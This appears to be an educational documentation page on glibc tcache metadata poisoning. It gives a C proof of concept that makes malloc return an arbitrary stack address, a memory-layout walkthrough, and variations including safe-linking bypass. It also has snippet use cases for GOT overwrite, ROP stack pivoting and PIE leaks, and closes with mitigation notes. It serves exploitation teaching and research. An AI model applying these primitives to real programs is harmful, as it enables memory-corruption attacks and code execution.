Skip to main content

Overview

Tcache metadata poisoning is an exploitation technique that directly manipulates the tcache_perthread_struct, which is the metadata structure controlling the tcache. By corrupting this structure, an attacker can:
  1. Insert arbitrary pointers into tcache bins
  2. Control the count of chunks in each bin
  3. Make malloc return completely arbitrary addresses without traditional heap corruption
The tcache metadata is stored at the beginning of the heap, immediately after the initial heap chunk. It contains two arrays: counts[] tracking how many chunks are in each bin, and entries[] containing the head pointers for each bin’s freelist.

Glibc Version Compatibility

Works on: glibc 2.26 and later (any version with tcache) Key insight: The tcache metadata is just a regular heap chunk. If you can corrupt it, you have complete control over what malloc returns.

What This Technique Achieves

1

Locate tcache metadata

Calculate the address of the tcache_perthread_struct
2

Corrupt metadata

Write arbitrary pointer to entries[N] and set counts[N] = 1
3

Allocate from corrupted bin

malloc() with size corresponding to bin N returns your arbitrary pointer
This is arguably the most powerful tcache attack because you bypass all traditional heap corruption and directly control allocation behavior.

Tcache Metadata Structure

#define TCACHE_BINS 64

struct tcache_perthread_struct {
    uint16_t counts[TCACHE_BINS];  // How many chunks in each bin (max 7)
    void *entries[TCACHE_BINS];    // Head pointer for each bin's freelist
};
Memory layout:
+0x000: counts[0]    (uint16_t) - count for bin 0 (size 0x20)
+0x002: counts[1]    (uint16_t) - count for bin 1 (size 0x30)
....
+0x07e: counts[63]   (uint16_t) - count for bin 63 (size 0x410)
+0x080: entries[0]   (void*)    - head pointer for bin 0
+0x088: entries[1]   (void*)    - head pointer for bin 1
....
+0x278: entries[63]  (void*)    - head pointer for bin 63
Total size: 0x280 bytes (64 * 2 + 64 * 8)

Source Code

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// Tcache metadata poisoning attack
// ================================
//
// By controlling the metadata of the tcache an attacker can insert malicious
// pointers into the tcache bins. This pointer then can be easily accessed by
// allocating a chunk of the appropriate size.

// By default there are 64 tcache bins
#define TCACHE_BINS 64
// The header of a heap chunk is 0x10 bytes in size
#define HEADER_SIZE 0x10

// This is the `tcache_perthread_struct` (or the tcache metadata)
struct tcache_metadata {
  uint16_t counts[TCACHE_BINS];
  void *entries[TCACHE_BINS];
};

int main() {
  // Disable buffering
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  uint64_t stack_target = 0x1337;

  puts("This example demonstrates what an attacker can achieve by controlling\n"
       "the metadata chunk of the tcache.\n");
  puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
       "will also serve as the relative offset to calculate the base of the\n"
       "metadata chunk.");
  uint64_t *victim = malloc(0x10);
  printf("Victim chunk is at: %p.\n\n", victim);

  long metadata_size = sizeof(struct tcache_metadata);
  printf("Next we have to calculate the base address of the metadata struct.\n"
         "The metadata struct itself is %#lx bytes in size. Additionally we\n"
         "have to subtract the header of the victim chunk (so an extra 0x10\n"
         "bytes).\n",
         sizeof(struct tcache_metadata));
  struct tcache_metadata *metadata =
      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
  printf("The tcache metadata is located at %p.\n\n", metadata);

  puts("Now we manipulate the metadata struct and insert the target address\n"
       "in a chunk. Here we choose the second tcache bin.\n");
  metadata->counts[1] = 1;
  metadata->entries[1] = &stack_target;

  uint64_t *evil = malloc(0x20);
  printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
         "second tcache bin. The returned pointer is %p.\n",
         evil);
  assert(evil == &stack_target);
}

Step-by-Step Walkthrough

1. Initialize Heap and Locate Metadata

uint64_t *victim = malloc(0x10);
The first malloc initializes the heap structure:
Heap Layout:
+0x0000: [tcache_perthread_struct chunk header]
+0x0010: tcache_perthread_struct data (0x280 bytes)
+0x0290: [victim chunk header]
+0x02a0: victim chunk data  <-- 'victim' points here

2. Calculate Metadata Address

struct tcache_metadata *metadata =
    (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
Calculation:
  • victim is at heap_base + 0x2a0
  • metadata_size = 0x280
  • HEADER_SIZE = 0x10
  • metadata = victim - 0x10 - 0x280 = heap_base + 0x10
This points to the start of the tcache_perthread_struct data.
Why this works: The tcache metadata is always the first allocated chunk on the heap. If you have any heap pointer, you can calculate back to find the metadata.

3. Corrupt Metadata (Vulnerability Point)

This is where the vulnerability is exploited. An attacker with a write primitive can corrupt the tcache metadata to inject arbitrary pointers.
metadata->counts[1] = 1;                 // Say bin 1 has 1 chunk
metadata->entries[1] = &stack_target;    // Point bin 1 to our target
Tcache bin index calculation:
  • Bin 0: chunk size 0x20 (malloc arg 0x01-0x18)
  • Bin 1: chunk size 0x30 (malloc arg 0x19-0x28)
  • Bin 2: chunk size 0x40 (malloc arg 0x29-0x38)
  • Bin N: chunk size (N+2) * 0x10
We choose bin 1, which corresponds to malloc(0x20). What we’re writing:
At metadata + 0x002: 0x0001  (counts[1] = 1)
At metadata + 0x088: &stack_target (entries[1] = target pointer)

4. Trigger Arbitrary Allocation

uint64_t *evil = malloc(0x20);
When malloc(0x20) is called:
  1. Calculate tcache bin index: size 0x30 → bin 1
  2. Check counts[1]: it’s 1, so tcache has a chunk
  3. Get pointer from entries[1]: returns &stack_target
  4. Decrement counts[1] to 0
  5. Return &stack_target to user
Result: evil == &stack_target We’ve successfully made malloc return a completely arbitrary address!

Attack Variations

Variation 1: Multiple Arbitrary Allocations

// Inject pointers into multiple bins
metadata->counts[0] = 1;
metadata->entries[0] = target1;

metadata->counts[1] = 1;
metadata->entries[1] = target2;

metadata->counts[2] = 1;
metadata->entries[2] = target3;

// Get them back
void *p1 = malloc(0x10);  // Returns target1
void *p2 = malloc(0x20);  // Returns target2
void *p3 = malloc(0x30);  // Returns target3

Variation 2: Chain Multiple Chunks

// Create a fake freelist chain
fake_chunk1[0] = (uint64_t)fake_chunk2;  // fd pointer
fake_chunk2[0] = (uint64_t)fake_chunk3;

metadata->counts[1] = 3;  // Say we have 3 chunks
metadata->entries[1] = fake_chunk1;

malloc(0x20);  // Returns fake_chunk1
malloc(0x20);  // Returns fake_chunk2
malloc(0x20);  // Returns fake_chunk3
In glibc 2.32+, the fd pointers are protected by safe-linking, so you’d need to properly mangle them:
fake_chunk1[0] = (uint64_t)fake_chunk2 ^ ((uint64_t)fake_chunk1 >> 12);

Prerequisites

1

Heap pointer leak

Need at least one heap pointer to calculate metadata location
2

Write primitive

Ability to write to the tcache metadata structure (overflow, UAF, etc.)
3

Target address

Know the address you want malloc to return

Why This Is Powerful

Advantages over other techniques:
  1. No heap spray needed: Directly control what malloc returns
  2. Bypasses safe-linking: No need to corrupt fd pointers in chunks
  3. No double-free needed: Don’t need to free anything
  4. Works on any tcache size: Can target any of the 64 tcache bins
  5. Multiple targets: Can inject pointers into multiple bins at once
Comparison to tcache poisoning:
AspectTcache PoisoningMetadata Poisoning
Need to free chunks?YesNo
Bypass safe-linking?Need heap leak + calcNot needed
Multiple allocations?Need multiple corruptionsOne corruption, multiple targets
ComplexityMediumLow

Common Use Cases

1. Stack pivoting:
metadata->counts[5] = 1;
metadata->entries[5] = stack_location;
void *p = malloc(0x50);  // Returns stack_location
// Now write ROP chain via p
2. Overwriting GOT entries:
metadata->counts[3] = 1;
metadata->entries[3] = &got_entry;
void *p = malloc(0x30);  // Returns &got_entry
*(void**)p = system_addr;  // Overwrite GOT
3. Defeating PIE:
// If you can read back from allocations
metadata->counts[0] = 1;
metadata->entries[0] = code_section_pointer;
void *p = malloc(0x10);
// Read from p to leak code addresses

Detection and Mitigation

Why this works:
  • Tcache metadata is stored in a regular heap chunk
  • No special protections beyond normal heap protections
  • Malloc trusts the metadata completely
Potential mitigations:
  • Place tcache metadata in a separate, protected memory region
  • Add integrity checks (checksums, canaries) to metadata
  • Validate entries point to valid heap regions
  • Implement bounds checking on entries array access
Newer glibc protections:
  • Safe-linking (2.32+) makes it harder to create fake freelists, but doesn’t protect the metadata itself
  • Still vulnerable if you can corrupt the metadata structure
  • Tcache Poisoning - Corrupt individual chunk fd pointers
  • Tcache House of Spirit - Free fake chunks into tcache
  • [House of IO/techniques/house/house-of-io) - Another technique exploiting tcache metadata via UAF

Real-World Applicability

When you can use this:
  • Heap overflow that reaches the beginning of the heap
  • Use-after-free on an early allocation
  • Arbitrary write primitive (write-what-where)
  • Integer overflow leading to out-of-bounds write
Detection difficulty: Medium to High
  • Corrupted metadata might not be immediately obvious
  • Normal heap integrity checks won’t catch this
  • Requires heap forensics or metadata validation

Build docs developers (and LLMs) love